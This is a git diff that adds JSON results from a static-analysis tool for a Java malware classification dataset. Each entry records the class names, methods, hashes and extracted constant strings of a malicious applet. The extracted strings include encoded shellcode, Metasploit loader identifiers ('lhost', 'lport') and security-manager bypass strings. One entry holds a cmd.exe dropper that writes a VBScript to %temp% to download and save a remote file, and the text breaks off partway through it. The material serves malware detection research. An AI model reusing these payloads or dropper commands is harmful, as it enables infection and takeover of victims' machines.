g   ntcwXuZje   bl ermnklSKMQ  g UT rDlFLQTPa   n TlunFcXQbnR  lG z "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a1ec86e594b79ebefeff1d90aa805327e17e4b98", "file_name": "java_malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221", "_id": "9f20d35a-1431-440d-9606-d9d24630d7b5", "score": 0, "entropy": 5.857814124740657, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4414, "ssdeep": "96:zKTLFlvrVlaAymvoHMg2dof6Ga0bGlXfFSh7GsGjcN:wlTV4AyQi32C2SetSh7GsGq", "sha256": "2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221", "md5": "3d85ab6914fa45fd835d69c1ad1532ee", "parent_sha256": "2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149.results b/java_classification/data/malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149.results
new file mode 100755
index 0000000..cee91d2
--- /dev/null
+++ b/java_classification/data/malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "116d0952-5a18-407b-a3e2-af0679de05ca", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,PN,pN,pN,pL,PL,Pl,PN,pK,YK,KE,Pe,Pu,Pq,OQ,to,Q0,0u,Pe,PW,pN,k3,p6,lL,KD,05,LN,Mn,kp,hW,Pm,PC,MF,ld,sp,tW,sO,fH,kj,SL,K1,xE,XL,Kh,wP,js,4C,iI,xl,OG,pe,P7,pJ,Bk,IQ,xp,oB,NW,pe,Pq,x0,up,rb,LP,mp,Ti,oE,FN,kz,H8,hS,Ig,pW,pc,0l,Kx,WB,gm,P5,oC,0a,eh,zb,g2,wq,Wk,0w,Oe,PC,Ek,Jl,Kj,Oq,Of,SK,yO,qh,lS,45,Qu,PG,pn,ky,LP,QV,23,cu,86,dw,qW,pU,Py,ov,6T,LR,zb,yR,qq,Bl,KG,rR,sp,Cm,P5,kW,pr,U9,jn,as,KK,L6,N3,Ub,Xp,eT,5w,sO,sH,kV,hL,Ig,sk,wS,st,D6,NQ,uD,8S,UK,vg,3t,H5,P3,kL,JY,Qu,TF,PL,HR,ew,pV,SY,Pb,pF,00,Sr,wV,0i,o0,Vb,0N,cj,Xw,pQ,eC,6a,z6,a6,39,oq,FC,4p,ZP,Ym,SX,Bu,Ts,qM,Pv,Ze,PD,5h,4K,Oc,fs,8P,Qf,6l,KP,uw,Ln,kQ,dv,Uq,hw,sj,UV,6L,Kr,Ve,pw,sh,uf,SO,9W,9q,Qn,MT,Cz,eW,Ck,kt,OO,NV,pW,HL,2s,Df,hy,QX,K4,MD,CZ,zS,pz,Kx,qw,KG,oS,EX,gq,NN,k1,Nu,tg,sy,MP,fL,Kf,l2,kn,ks,nU,LW,sk,ml,KT,Dn,kU,Sy,Un,KS,nr,yk,sX,h7,pK,O9,oi,on,np,ND,Nj,LO,hK,No,zv,nS,NK,hI,rR,SG,Cz,jM,Z3,kd,vt,ZT,oR,PQ,IQ,Rr,MR,yg,23,Ip,u0,W3,0Q,xR,T3,Dd,0e,j6,OF,OR,XS,QS,JQ,u5,6s,QT,np,ib,Na,vB,Ot,oP,pc,Qc,Wq,uF,OB,B0,eb,Sp,tf,N0,pB,HP,pT,oR,Nv,Pt,pu,bF,QD,pv,Vv,Rd,pV,Qp,3v,PF,T4,2v,PV,Tp,0g,Ip,JU,a0,1T,pt,pF,Pf,VT,pv,Qp,RE,1P,d5,10,eu,b0,b3,TW,Ir,we,fu,e4,qV,RS,Rb,EB,Ct,pp,X5,hP,eQ,qB,EU,1s,T6,Sv,SR,yQ,sD,r6,Xa,tb,Fg,I6,Pp,bP,Zp,0v,Qp,0T,pQ,vf,P6,WT,pE,P5,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7fc4124ed90af76ccff1c106f755bdf4b090ca7a", "file_name": "java_malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149", "_id": "116d0952-5a18-407b-a3e2-af0679de05ca", "score": 0, "entropy": 6.136168783151063, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "48:CUyFlNAGWgKfQQV85z1HR7G88YQNgoImFis+5NpfmHez/j8vPIwwB/J:6FlhnyV8DHR7G8/Q+EiTNNkez/j83Ifh", "sha256": "30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149", "md5": "0cee137db55e857016f28e99f73662dd", "parent_sha256": "30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49.results b/java_classification/data/malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49.results
new file mode 100755
index 0000000..33a7918
--- /dev/null
+++ b/java_classification/data/malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b.results b/java_classification/data/malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b.results
new file mode 100755
index 0000000..867520f
--- /dev/null
+++ b/java_classification/data/malicious/31dd12ee2f439d18215651b1c3ca4b5e1063628e38a9cd44ca3977b4cd52954b.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee.results b/java_classification/data/malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee.results
new file mode 100755
index 0000000..dcc4f2c
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+++ b/java_classification/data/malicious/3208da6fd9589f75da07596cdc8d40a6a6d84f9992157e6f1bc773730c5ddbee.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291.results b/java_classification/data/malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291.results
new file mode 100755
index 0000000..897aae8
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+++ b/java_classification/data/malicious/3354beded64b06e7002de450f0cdf1e28ec1d8bfacc3f0a4b1a7f7b2bb685291.results
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diff --git a/java_classification/data/malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b.results b/java_classification/data/malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b.results
new file mode 100755
index 0000000..30fdb7d
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+++ b/java_classification/data/malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "decoder", "init"], "minor_version": 0, "const_pool_count": 104}}, "_id": "2c86baba-66b3-4bf9-baee-41fff296d3e7", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "60ea630f-fac3-4a20-af0b-6d348459818e", "metadata": {"mimetype": "text/plain", "sha1": "4a7778cf34be00e21f5b970142338b5b640dc076", "file_name": "long string 0", "_id": "60ea630f-fac3-4a20-af0b-6d348459818e", "score": 0, "entropy": 5.718936601646014, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 959, "ssdeep": "24:qDutzuCptwyGMGsVN4Nft1AbWxuUCe6JUKl6IV2e:DtK4fGsVSftSbtUXKo1e", "sha256": "d75120100fe591e7f988fc7d5f1e08b69de189cff81bdb30616926cec46dbe3a", "md5": "8d5845229d7392cf9d50459ae8a9ec07", "parent_sha256": "33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b"}}], "combined strings entropy": 5.774207149753207, "obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINpnpNpNplPJ0lPlPM8c030wpWphkwpM9fvWq7pwpSou4Y16P7pWpUPrXvlLKSpdLlKt0ULlmLKu8THzKeYlKaPp4NmQPSLLKqxwLlKKGCZtDPYkXmyuPEPgphbXyqxrO0nwpwpQx45prRLrMRt9oWfLKm8KXlSgpWpUPLKHWQWopwOUPBUzZQWRwSwMP7OwpBUkJnkzOsoFSjiNaxlFpc1wps0LKiLk3Ks4L2qbrBsPhGteQs07pKORvtL0ZPYPQSbLK5RBspCOpekgpbUxzoq3KYlvNU4RL0lPuc3MSzKtHMYvcIWRcc4VNBDBLPlJfPC5Xgp1KmZKqUTtpNhcu30P39PpPpPRsRwpPkORvb0MS8xS02UEMqzEQK3JKtLyWs30rcURGcCzgrcuTQfd27CDrYWQSuXGPDm3CUppSKObv7tQJPYosYRgt1QmPUjGpqeMMkOQF6hRqv6nkT5WLlK44EeRXGsIev6NkrV7PwszU4syYaYQQnMuSzeFSyKFoMn4Pp8l2QdVh9Qzkvm4CiJsp8kl1gKUOPukWQNnkCnQ4USyMBFlKflPKNkaN7lS3YMLKc4nkwsKuNKaNryo3KXJEIn9okOnnpN6nXlNxkNlJ6nSNKhJBSCp3jjNjQKVVEJToPprVcuQQPjWpsXbTSDt0gJTo6O1rSQrLsXPi0m0aPnsQfNCSROBMfOpnPt1u4o3qRvPOpRpPp12aqQPBG2qS3sTnSUsH3UVOCUsep2vS6Pat5iqsGB0eG8VWdsFRUdsV3SPb52QFP0dqfPFP1v6PWHtpvPp0p6Sb5bTr031sp6EerF6PdqvPp2BtvSUhFWqrbB7I0bp4ebtpFQPltpwD6PTypK4yecu1P4tx2CvXSVvS6QP8Rj00rDvP6Pp0uftpVQGpwpA", "419,20,7f,6d", ",", "file://abc/", "B", "u", "\\xc0\\x80"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "957632e049998877bb00e2a42b5aa5dc61632014", "file_name": "java_malicious/33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b", "_id": "2c86baba-66b3-4bf9-baee-41fff296d3e7", "score": 0, "entropy": 6.323560692986639, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2886, "ssdeep": "48:icWdyFl4tK4fGsVSftSbtUXKo1Z1RsFdIgFv16f+HJIQY+NAqECCYNir3sq10z9:LWYFl4Y4fGsMV7YGWNZqQY2CH7sqE9", "sha256": "33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b", "md5": "cf2565d7593b649e5e5437c9231f8121", "parent_sha256": "33b261f25abba5e6c117fdc2997f691b6c297414c4f9ecf6bdb0b345cab8838b"}}
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diff --git a/java_classification/data/malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35.results b/java_classification/data/malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35.results
new file mode 100755
index 0000000..59f264b
--- /dev/null
+++ b/java_classification/data/malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "c827b98d-1550-44ca-81aa-e971f4dc5844", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pl,PN,pN,pL,Pj,0N,pn,py,yK,KS,0G,ps,0S,o0,dL,ad,pW,pG,pw,pl,Ks,pV,ll,KR,PE,LL,mn,kQ,xW,Pm,P1,mT,Lv,Sq,dw,sm,Fx,kh,sL,Kq,xd,Hn,kj,WQ,z4,Dr,y9,xL,Ou,Pu,PW,pK,RK,Ip,hb,OR,N5,PS,0p,hp,up,rp,lr,M6,49,o6,vN,ky,xZ,HR,Ye,PG,pg,pN,ki,G0,Gm,PU,og,p2,U9,jW,70,WW,7o,pe,oU,Pp,uh,zL,KZ,Oa,Ow,Ck,yM,Q8,lt,DV,ag,pS,0L,KI,Lp,QV,2P,Sp,hv,du,Qw,p5,PK,OQ,Ft,Ls,jq,IV,13,bn,kW,rF,3c,sO,pu,k3,0P,uk,JN,aS,Kk,LV,NB,Ea,h5,5r,UW,sk,3j,KV,hn,iU,So,7W,3w,tv,N2,ES,Hu,5K,vG,3g,xw,pQ,Kn,jK,qE,TT,pn,hc,ue,PU,ck,pb,pr,pc,cb,wP,PK,O2,vb,0l,Ci,hW,pd,5G,vR,Jw,qa,Ck,O6,6u,Tp,Z1,IO,sk,r6,dQ,Qo,pf,ZU,Pp,ul,tK,Ov,6E,Xr,qV,6L,K3,E7,Ll,Kt,4p,5Q,h5,S8,uS,fN,ks,Fu,pg,sz,Up,38,Ic,ya,QN,ME,SK,u5,cY,Kt,OM,n2,0u,hX,rR,TU,Xi,Qz,kd,MU,Sz,zs,pJ,K8,q5,kU,O0,uk,WC,nL,KS,nW,Ts,3K,ms,VN,k6,lp,Kl,Ks,nW,lS,3k,mL,Kv,dL,KU,SJ,eN,KQ,Nr,yJ,cY,xw,pK,OY,ok,OL,Np,Nv,nX,lN,xk,NL,JV,nS,Ny,Hy,rS,CD,sZ,jn,jq,K4,vT,ZD,op,pu,2P,Er,e1,qu,1r,m1,sc,Bs,0u,82,TR,Tr,Pv,ZV,O4,ob,Lb,Or,PS,UP,sa,uv,NB,IP,nQ,vB,OV,Ot,0s,Qb,GQ,u6,OQ,rQ,up,sb,TV,NP,pP,hp,pv,Op,nV,PD,pv,SD,q0,0p,66,R4,pE,au,c4,pG,Dr,Rd,pU,df,Pt,yC,zu,aV,RT,p6,Pv,Pw,Fv,Pt,q2,r0,9u,hP,au,5t,tf,YE,4V,W3,gu,f7,ET,qp,2r,Bp,ep,cD,pP,Xc,RE,1c,Vd,y4,sT,wW,BP,5p,YP,fe,fE,5f,WE,6d,r6,Vf,Qa,J6,Pv,Qv,PF,PS,Vv,P0,8f,PG,p3,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "203721e574b3b6824fe60357b88cb4b0b4dcafdd", "file_name": "java_malicious/33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35", "_id": "c827b98d-1550-44ca-81aa-e971f4dc5844", "score": 0, "entropy": 6.129052796753191, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "48:CUyFlNV7qqsSXzuEjYzEfrYQNgoImFis+5NpfmHez/j8vPIwwB/J:6FlD7qqsD8Ygf0Q+EiTNNkez/j83Ifh", "sha256": "33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35", "md5": "5920a2f8d671bb5339a8703396dbb54b", "parent_sha256": "33b60e2647ada2fc1ac943e1ff430a3cb15fba7a0265998ffacea12746f1bc35"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b.results b/java_classification/data/malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b.results
new file mode 100755
index 0000000..e631c21
--- /dev/null
+++ b/java_classification/data/malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "b399.java", "class_name": "b399", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "go", "main"], "minor_version": 0, "const_pool_count": 233}}, "_id": "a7231819-549d-4ca2-a0cc-434759e05f2f", "verbose": {"java": {"constant strings": ["setSecurityManager", "file:///", "Failed to overwrite array length!", "Failed to find object array!", "Security Manager = "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56ba51304da919b71833520dece8ca3c644011d3", "file_name": "java_malicious/33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b", "_id": "a7231819-549d-4ca2-a0cc-434759e05f2f", "score": 0, "entropy": 5.990881525203014, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5085, "ssdeep": "96:hy2DAlG1lHE8kkZCBIMK6vTnPyAfrY7xmw9IOlkzDbixz4:jDAlGM8ktt5PyAT/w9IOlkHbiN4", "sha256": "33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b", "md5": "add15d951c42669ae4e03bcd3f655f55", "parent_sha256": "33e2586ba2a44322dd6cc0a47fca56c78b515c756e69916dae4708daa954ae1b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2.results b/java_classification/data/malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2.results
new file mode 100755
index 0000000..24378c4
--- /dev/null
+++ b/java_classification/data/malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "msf/x/LoaderX", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "major_version": 45, "method_names": ["<clinit>", "<init>", "writeObject", "readObject", "a"], "minor_version": 3, "const_pool_count": 180}}, "_id": "311f8044-9856-423e-8784-bf6509b14a7c", "verbose": {"java": {"constant strings": ["msf.x.PayloadX$StreamConnector", "msf.x.PayloadX", "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class", "file:///", "data", "lhost", "lport"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cd479c7fd677613c8fb6dc89c2e43c210e4a72a8", "file_name": "java_malicious/34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2", "_id": "311f8044-9856-423e-8784-bf6509b14a7c", "score": 0, "entropy": 5.60428862457068, "libmagic": "compiled Java class data, version 45.3", "file_size": 2468, "ssdeep": "48:lvfY2TE5RW4HGEW6DEFGBbnO8PQ02VJ8MSdp:lHtE8bmEF0nOIQ0GJ1Sj", "sha256": "34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2", "md5": "64215f937763886e674ccb6c805222c2", "parent_sha256": "34a7cef658bc1f9a8068bcf44ec800a0003b14f2fef04a2f22c72345e29042c2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b.results b/java_classification/data/malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b.results
new file mode 100755
index 0000000..9521b71
--- /dev/null
+++ b/java_classification/data/malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "MtVrCF.java", "class_name": "MtVrCF", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "efdac0d6-1820-44f7-b374-a6829087514d", "verbose": {"java": {"constant strings": ["\\x11+\\x020\\x17", "F\\x08]QT"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc6fc41424feaa02b086696db1c65a39c04f61e4", "file_name": "java_malicious/352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b", "_id": "efdac0d6-1820-44f7-b374-a6829087514d", "score": 0, "entropy": 5.521637611914666, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 818, "ssdeep": "24:P3yQul2rTuPnhPJ97bS8pnA1j68jRnZqx:fyFlC6Phf5ulrK", "sha256": "352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b", "md5": "69ccec9074c50d2f0eb7a9c80a7370f0", "parent_sha256": "352f0e5765ec9bd0305416a3d63581692f8f068a14e6be864c446f6d0b1e186b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d.results b/java_classification/data/malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d.results
new file mode 100755
index 0000000..ddf6667
--- /dev/null
+++ b/java_classification/data/malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "padsvefas.java", "class_name": "padsvefas", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "uj7u56ytrhj756rr", "afdsfe_Afaf", "vsbdgfnrsthegraebtear"], "minor_version": 0, "const_pool_count": 221}}, "_id": "8ca8b197-bfa3-4fb8-bdce-651ef8685e81", "verbose": {"java": {"constant strings": ["dvsgre  sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre  sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2dvsgre  sgfth5t 4gsafhe5 3t4trgth 53t4egreh53yt4 wgreh53qy4t 2", "1", "", "2", "/2", "jXZEaIKJvIKJaXZE.XZEaXZEwXZEtXZE.XZEiXZEmIKJaXZEgXZEeIKJ.XZESIKJaXZEmXZEpIKJlIKJeIKJMIKJoIKJdIKJeIKJlXZE", "jXZEaIKJvXZEaXZE.XZEaIKJwIKJtXZE.XZEiXZEmXZEaXZEgXZEeXZE.XZEDIKJaXZEtXZEaXZEBXZEuXZEfXZEfXZEeIKJrIKJ", "jXZEaIKJvXZEaXZE.XZEaIKJwXZEtIKJ.IKJiXZEmXZEaXZEgXZEeXZE.IKJDXZEaIKJtIKJaXZEBIKJuIKJfXZEfIKJeXZErIKJIXZEnXZEtIKJ", "jIKJaIKJvXZEaIKJ.XZEaIKJwXZEtXZE.IKJPXZEoIKJiIKJnXZEtXZE", "jXZEaXZEvXZEaIKJ.XZEaIKJwIKJtXZE.XZEiIKJmIKJaXZEgXZEeXZE.IKJRIKJaXZEsIKJtXZEeXZErXZE", "jXZEaXZEvXZEaXZE.XZEaIKJwIKJtXZE.IKJAXZElXZEpXZEhIKJaIKJCIKJoXZEmXZEpXZEoXZEsIKJiXZEtIKJeIKJ", "jIKJaXZEvIKJaXZE.XZEaIKJwIKJtIKJ.XZEiIKJmXZEaIKJgXZEeXZE.IKJSXZEiIKJnIKJgXZElXZEeIKJPIKJiIKJxIKJeIKJlXZEPIKJaXZEcXZEkXZEeXZEdIKJSXZEaXZEmIKJpIKJlIKJeXZEMIKJoXZEdXZEeXZElIKJ", "jXZEaIKJvIKJaIKJ.XZEaXZEwXZEtXZE.IKJiXZEmXZEaIKJgIKJeIKJ.IKJDXZEiXZErIKJeIKJcIKJtXZECIKJoIKJlIKJoIKJrXZEMIKJoXZEdIKJeXZElXZE", "jIKJaXZEvXZEaXZE.IKJlXZEaXZEnXZEgXZE.IKJOIKJbIKJjIKJeIKJcIKJtIKJ", "jIKJaXZEvIKJaXZE.IKJbIKJeIKJaIKJnXZEsXZE.XZESXZEtIKJaXZEtIKJeIKJmXZEeIKJnXZEtIKJ", "jIKJaXZEvIKJaIKJ.IKJlXZEaXZEnXZEgIKJ.IKJrIKJeIKJfIKJlIKJeIKJcIKJtXZE.XZEAXZErXZErIKJaXZEyXZE", "jXZEaXZEvIKJaXZE.IKJsXZEeIKJcXZEuXZErXZEiIKJtXZEyIKJ.XZEPXZEeIKJrXZEmIKJiIKJsIKJsXZEiXZEoIKJnIKJ", "jIKJaIKJvIKJaXZE.IKJaIKJwIKJtIKJ.IKJiXZEmXZEaIKJgIKJeIKJ.XZECIKJoXZElXZEoXZErXZEMXZEoIKJdXZEeXZElIKJ", "jIKJaXZEvXZEaXZE.IKJaXZEwXZEtIKJ.IKJRIKJeIKJnIKJdXZEeXZErXZEiXZEnIKJgXZEHXZEiIKJnXZEtIKJsIKJ", "jIKJaIKJvIKJaXZE.IKJaXZEwXZEtIKJ.XZECIKJoXZEmXZEpXZEoXZEsXZEiXZEtIKJeXZECXZEoIKJnIKJtXZEeIKJxIKJtXZE", "jXZEaIKJvXZEaXZE.IKJaIKJwIKJtIKJ.XZEiXZEmIKJaIKJgIKJeIKJ.IKJWXZErXZEiXZEtIKJaIKJbXZElXZEeIKJRIKJaXZEsXZEtIKJeIKJrXZE", "jIKJaXZEvXZEaXZE.XZElXZEaIKJnXZEgXZE.XZEBIKJoIKJoIKJlIKJeXZEaIKJnXZE", "$XZEdIKJfIKJbIKJdIKJsIKJhIKJ_XZEsIKJaIKJ", "gIKJeIKJtIKJMXZEaIKJsXZEkXZEsIKJ", "cXZErIKJeXZEaIKJtIKJeIKJCIKJoXZEnIKJtIKJeIKJxIKJtIKJ", "SXZErXZEcXZE", "cXZErIKJeXZEaXZEtIKJeIKJWXZErIKJiIKJtIKJaIKJbXZElXZEeXZERXZEaXZEsXZEtXZEeXZErXZE", "sIKJeIKJtXZEEXZElXZEeXZEmXZE", "cIKJoIKJmIKJpXZEoXZEsIKJeIKJ", "FXZEAIKJLXZESXZEEXZE", "TIKJRXZEUIKJEXZE", "gIKJeXZEtXZE", "eIKJxIKJeXZEcXZEuIKJtXZEeIKJ"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d667c71bc9f973dddd1f577dfb517f96676c46f4", "file_name": "java_malicious/355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d", "_id": "8ca8b197-bfa3-4fb8-bdce-651ef8685e81", "score": 0, "entropy": 5.893717554578513, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6790, "ssdeep": "96:6WAxRFlPunnwUICUNIxrsXjdnrTe8fAleJ5xd9Xf+Ron4S2gUnk7jggggggggggc:6PxDlmnnlItNIt6N6e7xvviS2xni3q", "sha256": "355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d", "md5": "14d7b6318c2bb6992fe73682c5cd7d6e", "parent_sha256": "355b1e3aa2d23bab2908aa0e0f3722f71e4b357610de48ca840787b31fc0509d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2.results b/java_classification/data/malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2.results
new file mode 100755
index 0000000..107a5d6
--- /dev/null
+++ b/java_classification/data/malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "GondadGondadExp.java", "class_name": "GondadGondadExp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "init"], "minor_version": 3, "const_pool_count": 133}}, "_id": "f171f14b-59b1-4d00-bc08-0f924ce850fa", "verbose": {"java": {"constant strings": ["java.lang.System.setSecurity", "nLtMyTy4VIYU4COTn", "dota", "function", "j", "return \"exploit!\";};", "s", "error.message = this;", "ts(0)", "ho UR", "var error = new Error(\"My error\");this.toString = ", "(){ ", "Manager(null);java.lang.Runtime.getRuntime().exec(\\'cmd.exe /c ec", "L = LCase(WScript.Argumen", ")>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo dim m,s,gond>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo gond=\"nLtMyTy4VIYU4COT\">>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo m=\"Mvivcvrvovsvovfvtv.vXvMvLvHvTvTvP\">>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo s=\"AzDzOzDBz.zSztzrzezazm\">>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo set cmd =Createobject(replace(m,\"v\",\"\")) >>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo cmd.Open \"GET\",URL,0 >>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo cmd.Send()>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo FileName=LCase(WScript.Arguments(1))>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo Set CsCriptGet = Createobject(replace(s,\"z\",\"\"))>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Mode=^3>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Type=^1>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo 